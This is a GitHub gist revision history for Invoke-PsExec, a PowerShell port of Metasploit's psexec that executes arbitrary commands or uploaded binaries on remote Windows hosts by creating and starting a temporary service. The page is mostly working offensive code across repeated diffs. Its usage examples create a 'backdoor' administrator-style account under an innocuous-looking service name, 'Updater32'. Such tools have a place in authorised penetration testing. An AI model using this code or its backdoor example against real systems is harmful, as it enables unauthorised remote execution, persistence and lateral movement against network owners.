- 
      
- 
        Save thebigplate/ca095325f826529cab5dd55f9790ea9b to your computer and use it in GitHub Desktop. 
Revisions
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -264,7 +264,7 @@ function Invoke-PsExec { Start-Sleep -s 1 } if (-not $NoCleanup) { # start cleanup # Step 6 - DeleteService() "[*] Deleting the service '$ServiceName'" 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 28 additions and 33 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -210,9 +210,9 @@ function Invoke-PsExec { # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx "[*] Opening service manager" $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) Write-Verbose "[*] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -and ($ManagerHandle -ne 0)){ @@ -222,95 +222,91 @@ function Invoke-PsExec { # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL "[*] Creating new service: '$ServiceName'" $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ Write-Verbose "[*] Service successfully created" # Step 3 - CloseServiceHandle() for the service handle "[*] Closing service handle" $t = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() "[*] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Step 5 - StartService() "[*] Starting the service" $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ Write-Verbose "[*] Service successfully started" # breathe for a second Start-Sleep -s 1 } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() if ($err -eq 1053){ Write-Warning "[*] Command didn't respond to start" } else{ Write-Warning "[!] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 } if ($NoCleanup) { # start cleanup # Step 6 - DeleteService() "[*] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) if ($val -eq 0){ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] DeleteService failed, LastError: $err" } else{ Write-Verbose "[*] Service successfully deleted" } } # Step 7 - CloseServiceHandle() for the service handle "[*] Closing the service handle" $val = $CloseServiceHandle.Invoke($ServiceHandle) Write-Verbose "[*] Service handle closed off" } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenServiceA failed, LastError: $err" } } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle "[*] Closing the manager handle" $t = $CloseServiceHandle.Invoke($ManagerHandle) } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenSCManager failed, LastError: $err" } } @@ -326,7 +322,7 @@ function Invoke-PsExec { # command to invoke to pipe to temp output files $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" Write-Verbose "PsEexec results command: $cmd" try { # invoke the command specified @@ -339,21 +335,20 @@ function Invoke-PsExec { Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files Write-Verbose "[*] Removing $RemoteResultFile" Remove-Item -Force $RemoteResultFile Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" } catch { Write-Warning "Error: $_" } } else { # if we're executing a plain command w/o needing results "[*] Executing command: '$Command'" Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName } @@ -385,6 +380,6 @@ function Invoke-PsExec { else { # error catching Write-Warning "'-Command' or '-ServiceEXE' must be specified." } } 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 58 additions and 51 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -15,8 +15,8 @@ function Invoke-PsExec { Author: @harmj0y License: BSD 3-Clause .PARAMETER ComputerName ComputerName to run the command on. .PARAMETER Command Binary path (or Windows command) to execute. @@ -37,19 +37,19 @@ function Invoke-PsExec { Don't remove the service after starting it (for ServiceEXEs). .EXAMPLE > Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 Creates a user named backdoor on the 192.168.50.200 host, with the temporary service being named 'Updater32'. .EXAMPLE > Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', and copies the result file to "results.txt" on the local path. .EXAMPLE > Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" Uploads "service.exe" to the remote host, registers/starts it as a service with name 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). @@ -63,7 +63,7 @@ function Invoke-PsExec { param( [Parameter(Mandatory = $True)] [string] $ComputerName, [string] $Command, @@ -164,7 +164,7 @@ function Invoke-PsExec { param( [Parameter(Mandatory = $True)] [string] $ComputerName, [Parameter(Mandatory = $True)] [string] @@ -210,9 +210,9 @@ function Invoke-PsExec { # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx # "[*] Opening service manager" $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) # Write-Verbose "[*] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -and ($ManagerHandle -ne 0)){ @@ -222,89 +222,95 @@ function Invoke-PsExec { # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL # "[*] Creating new service: '$ServiceName'" $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) # Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Write-Verbose "[*] Service successfully created" # Step 3 - CloseServiceHandle() for the service handle # "[*] Closing service handle" $t = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() # "[*] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) # Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Step 5 - StartService() # "[*] Starting the service" $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ # Write-Verbose "[*] Service successfully started" # breathe for a second Start-Sleep -s 1 } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() if ($err -eq 1053){ # Write-Warning "[*] Command didn't respond to start" } else{ # Write-Warning "[!] StartService failed, LastError: $err" "[!] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 } if (-not $NoCleanup) { # start cleanup # Step 6 - DeleteService() # "[*] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) if ($val -eq 0){ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() # Write-Warning "[!] DeleteService failed, LastError: $err" } else{ # Write-Verbose "[*] Service successfully deleted" } } # Step 7 - CloseServiceHandle() for the service handle # "[*] Closing the service handle" $val = $CloseServiceHandle.Invoke($ServiceHandle) # Write-Verbose "[*] Service handle closed off" } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() # Write-Warning "[!] OpenServiceA failed, LastError: $err" "[!] OpenServiceA failed, LastError: $err" } } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() # Write-Warning "[!] CreateService failed, LastError: $err" "[!] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle # "[*] Closing the manager handle" $t = $CloseServiceHandle.Invoke($ManagerHandle) } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() # Write-Warning "[!] OpenSCManager failed, LastError: $err" "[!] OpenSCManager failed, LastError: $err" } } @@ -320,34 +326,35 @@ function Invoke-PsExec { # command to invoke to pipe to temp output files $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" # Write-Verbose "PsEexec results command: $cmd" try { # invoke the command specified "[*] Executing command and retrieving results: '$Command'" Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName # retrieve the result file for the command $RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText" "[*] Copying result file $RemoteResultFile to '$ResultFile'" Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files # Write-Verbose "[*] Removing $RemoteResultFile" Remove-Item -Force $RemoteResultFile # Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" } catch { # Write-Warning "Error: $_" "Error: $_" } } else { # if we're executing a plain command w/o needing results # "[*] Executing command: '$Command'" Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName } } @@ -356,14 +363,14 @@ function Invoke-PsExec { # if we're using a custom .EXE for the PsExec call # upload the local service .EXE to the remote host $RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE" "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath if(-not $NoCleanup) { # trigger the remote executable and cleanup after "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName # remove the remote service .EXE "[*] Removing the remote service .EXE '$RemoteUploadPath'" @@ -372,12 +379,12 @@ function Invoke-PsExec { else { # upload/register the executable and don't clean up "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup } } else { # error catching # Write-Warning "'-Command' or '-ServiceEXE' must be specified." } } 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 1 addition and 2 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -65,7 +65,6 @@ function Invoke-PsExec { [string] $HostName, [string] $Command, @@ -357,7 +356,7 @@ function Invoke-PsExec { # if we're using a custom .EXE for the PsExec call # upload the local service .EXE to the remote host $RemoteUploadPath = "\\$HostName\Admin$\$ServiceEXE" "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 22 additions and 16 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -82,6 +82,8 @@ function Invoke-PsExec { $NoCleanup ) $ErrorActionPreference = "Stop" # http://stackingcode.com/blog/2011/10/27/quick-random-string function Local:Get-RandomString { @@ -321,21 +323,26 @@ function Invoke-PsExec { Write-Verbose "PsEexec results command: $cmd" try { # invoke the command specified "[*] Executing command and retrieving results: '$Command'" Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName # retrieve the result file for the command $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText" "[*] Copying result file $RemoteResultFile to '$ResultFile'" Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files Write-Verbose "[*] Removing $RemoteResultFile" Remove-Item -Force $RemoteResultFile Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat" Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat" } catch { Write-Warning "Error: $_" } } else { @@ -374,5 +381,4 @@ function Invoke-PsExec { # error catching Write-Warning "'-Command' or '-ServiceEXE' must be specified." } } 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 4 additions and 2 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -6,6 +6,10 @@ function Invoke-PsExec { a remote machine, creates/run a service with an associated binary path or command, and then cleans everything up. Either a -Command or a custom -ServiceEXE can be specified. For -Commands, a -ResultsFile can also be specified to retrieve the results of the executed command. Adapted from MSF's version (see links). Author: @harmj0y @@ -50,11 +54,9 @@ function Invoke-PsExec { Uploads "service.exe" to the remote host, registers/starts it as a service with name 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb #> [CmdletBinding()] 
- 
        HarmJ0y revised this gist Aug 16, 2015 . 1 changed file with 228 additions and 187 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,10 +1,11 @@ function Invoke-PsExec { <# .SYNOPSIS This function is a rough port of Metasploit's psexec functionality. It utilizes Windows API calls to open up the service manager on a remote machine, creates/run a service with an associated binary path or command, and then cleans everything up. Adapted from MSF's version (see links). Author: @harmj0y @@ -19,11 +20,36 @@ function Invoke-Psexec { .PARAMETER ServiceName The name of the service to create, defaults to "TestSVC" .PARAMETER ResultFile If you want results from your command, specify this flag. Name of the file to write the results to locally, defaults to copying in the temporary result file to the local location. .PARAMETER ServiceEXE Local service binary to upload/execute on the remote host (instead of a command to execute). .PARAMETER NoCleanup Don't remove the service after starting it (for ServiceEXEs). .EXAMPLE > Invoke-PsExec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 Creates a user named backdoor on the 192.168.50.200 host, with the temporary service being named 'Updater32'. .EXAMPLE > Invoke-PsExec -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', and copies the result file to "results.txt" on the local path. .EXAMPLE > Invoke-PsExec -HostName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" Uploads "service.exe" to the remote host, registers/starts it as a service with name 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb @@ -42,9 +68,32 @@ function Invoke-Psexec { $Command, [string] $ServiceName = "TestSVC", [string] $ResultFile, [string] $ServiceEXE, [switch] $NoCleanup ) # http://stackingcode.com/blog/2011/10/27/quick-random-string function Local:Get-RandomString { param ( [int]$Length = 12 ) $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() $result = "" for ($x = 0; $x -lt $Length; $x++) { $result += $set | Get-Random } $result } # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-DelegateType { @@ -74,7 +123,6 @@ function Invoke-Psexec { Write-Output $TypeBuilder.CreateType() } # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-ProcAddress { @@ -108,228 +156,221 @@ function Invoke-Psexec { } function Local:Invoke-PsExecCmd { param( [Parameter(Mandatory = $True)] [string] $HostName, [Parameter(Mandatory = $True)] [string] $Command, [string] $ServiceName = "TestSVC", [switch] $NoCleanup ) # Declare/setup all the needed API function # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError $GetLastErrorDelegate = Get-DelegateType @() ([Int]) $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx "[*] Opening service manager" $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F) Write-Verbose "[*] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -and ($ManagerHandle -ne 0)){ # Step 2 - CreateService() # 0xF003F = SC_MANAGER_ALL_ACCESS # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL "[*] Creating new service: '$ServiceName'" $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ Write-Verbose "[*] Service successfully created" # Step 3 - CloseServiceHandle() for the service handle "[*] Closing service handle" $t = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() "[*] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -and ($ServiceHandle -ne 0)){ # Step 5 - StartService() "[*] Starting the service" $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ Write-Verbose "[*] Service successfully started" # breathe for a second Start-Sleep -s 1 } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() if ($err -eq 1053){ Write-Warning "[*] Command didn't respond to start" } else{ Write-Warning "[!] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 } # start cleanup # Step 6 - DeleteService() "[*] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) if ($val -eq 0){ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] DeleteService failed, LastError: $err" } else{ Write-Verbose "[*] Service successfully deleted" } # Step 7 - CloseServiceHandle() for the service handle "[*] Closing the service handle" $val = $CloseServiceHandle.Invoke($ServiceHandle) Write-Verbose "[*] Service handle closed off" } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenServiceA failed, LastError: $err" } } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle "[*] Closing the manager handle" $t = $CloseServiceHandle.Invoke($ManagerHandle) } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenSCManager failed, LastError: $err" } } if ($Command -and ($Command -ne "")) { if ($ResultFile -and ($ResultFile -ne "")) { # if we want to retrieve results from the invoked command # randomized temp files $TempText = $(Get-RandomString) + ".txt" $TempBat = $(Get-RandomString) + ".bat" # command to invoke to pipe to temp output files $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" Write-Verbose "PsEexec results command: $cmd" # invoke the command specified "[*] Executing command and retrieving results: '$Command'" Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName # retrieve the result file for the command $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText" "[*] Copying result file $RemoteResultFile to '$ResultFile'" Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files Write-Verbose "[*] Removing $RemoteResultFile" Remove-Item -Force $RemoteResultFile Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat" Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat" } else { # if we're executing a plain command w/o needing results "[*] Executing command: '$Command'" Invoke-PsExecCmd -HostName $HostName -Command $Command -ServiceName $ServiceName } } elseif ($ServiceEXE -and ($ServiceEXE -ne "")) { # if we're using a custom .EXE for the PsExec call # upload the local service .EXE to the remote host $RemoteUploadPath = "\\$HostName\Admin$\" "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath if(-not $NoCleanup) { # trigger the remote executable and cleanup after "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName # remove the remote service .EXE "[*] Removing the remote service .EXE '$RemoteUploadPath'" Remove-Item -Path $RemoteUploadPath -Force } else { # upload/register the executable and don't clean up "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup } } else { # error catching Write-Warning "'-Command' or '-ServiceEXE' must be specified." } } 
- 
        HarmJ0y revised this gist Aug 13, 2015 . 1 changed file with 10 additions and 7 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -28,18 +28,21 @@ function Invoke-Psexec { .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb #> [CmdletBinding()] param( [Parameter(Mandatory = $True)] [string] $HostName, [Parameter(Mandatory = $True)] [string] $Command, [string] $ServiceName = "TestSVC" ) # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html @@ -183,7 +186,7 @@ function Invoke-Psexec { # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() if ($err -eq 1053){ Write-Warning "[*] Command didn't respond to start" } else{ Write-Warning "[!] StartService failed, LastError: $err" @@ -324,9 +327,9 @@ function Invoke-PsexecResults { Copy-Item -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files Write-Verbose "[*] Removing $RemoteResultFile" Remove-Item $RemoteResultFile Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat" Remove-Item "\\$HostName\Admin$\Temp\$TempBat" } 
- 
        HarmJ0y revised this gist Aug 13, 2015 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -27,7 +27,7 @@ function Invoke-Psexec { .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb #> @@ -270,7 +270,7 @@ function Invoke-PsexecResults { .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb #> 
- 
        HarmJ0y created this gist Aug 13, 2015 .There are no files selected for viewingThis file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,332 @@ function Invoke-Psexec { <# .SYNOPSIS This function is a rough port of Metasploit's psexec functionality. It utilizes Windows API calls to open up the service manager on a remote machine, creates/run a service with an associated binary path or command, and then cleans everything up. Adapted from MSF's version (see links). Author: @harmj0y License: BSD 3-Clause .PARAMETER HostName Hostname to run the command on. .PARAMETER Command Binary path (or Windows command) to execute. .PARAMETER ServiceName The name of the service to create, defaults to "TestSVC" .EXAMPLE > Invoke-Psexec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 Creates a user named backdoor on the 192.168.50.200 host, with the temporary service being named 'Updater32' .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb #> [CmdletBinding()] param( [Parameter(Mandatory = $True)] [string]$HostName, [Parameter(Mandatory = $True)] [string]$Command, [string]$ServiceName = "TestSVC" ) # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html function Local:Get-ProcAddress { 